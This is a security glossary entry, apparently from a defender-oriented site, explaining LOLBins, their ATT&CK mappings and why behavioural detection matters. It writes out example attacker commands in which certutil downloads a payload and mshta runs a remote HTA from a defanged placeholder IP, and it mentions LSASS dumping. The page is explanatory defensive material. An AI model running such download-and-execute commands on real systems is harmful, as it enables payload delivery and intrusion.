LOLBin (Living Off the Land Binary)

Why it matters

An EDR that alerts on unknown executables stays quiet, because nothing unknown ran — certutil.exe is signed by Microsoft and present on every Windows box. Detection has to shift from "is this binary bad" to "is this normal binary being used in an abnormal way": an unusual parent process, an unusual argument, an unusual network destination. This is exactly the kind of thing a technique ID, not a file hash, is built to describe — a LOLBin is the purest example of why behavioural indicators exist.

How it is used in practice

Attackers reach for LOLBins mainly for two jobs: fetching a second-stage payload (certutil -urlcache -split -f hxxp://203.0.113.5/payload.exe) and executing attacker-supplied script content without dropping an obvious script file (mshta hxxp://203.0.113.5/payload.hta). Others proxy execution through a trusted binary so application control lets it through (rundll32, regsvr32), query or change the system through management interfaces (wmic), or encode and decode data in place (certutil -encode).

Each LOLBin maps to one or more ATT&CK techniques — certutil used as a downloader sits under T1105 Ingress Tool Transfer, mshta under T1218.005 System Binary Proxy Execution: Mshta, rundll32 under T1218.011. The Windows catalogue is the LOLBAS project; the Unix equivalent (how find, vim or tar escalate or exfiltrate when misconfigured with sudo or SUID) is GTFOBins. Both are searchable offline in the LOLBin Browser on this site.

Common misreadings

• Blocking the binary is rarely an option. rundll32 and wmic are load-bearing for Windows itself; the control is monitoring and, where the vendor allows, restricting who and from where.
• "Living off the land" is broader than binaries. Scripts (LOLScripts), libraries and cloud-native tools (LOLCloud) follow the same idea: use what is already trusted.
• Presence in the catalogue is not an indicator. Every host has every LOLBin. The indicator is the context — parent, arguments, timing, destination.

Related terms

• MITRE ATT&CK — MITRE ATT&CK is a public, curated catalogue of the behaviours real attackers use, organised so defenders can say "we saw T1059.001" instead of "some PowerShell thing".
• TTP — TTPs are the three levels at which attacker behaviour is described — the tactic is why (steal credentials), the technique is how (dump LSASS memory), the procedure is exactly how this actor does it (procdump renamed to dump64.exe, run via a scheduled task).
• C2 — C2 (Command and Control) is the channel an attacker uses to remotely control compromised hosts — send commands, pull data, push new tools — after the initial compromise.
• IOA — An IOA describes what an attacker is doing rather than what they left behind — a sequence of actions such as "a document opens a shell that downloads and executes a file" — so it detects the technique regardless of which hash, IP or domain is used this time.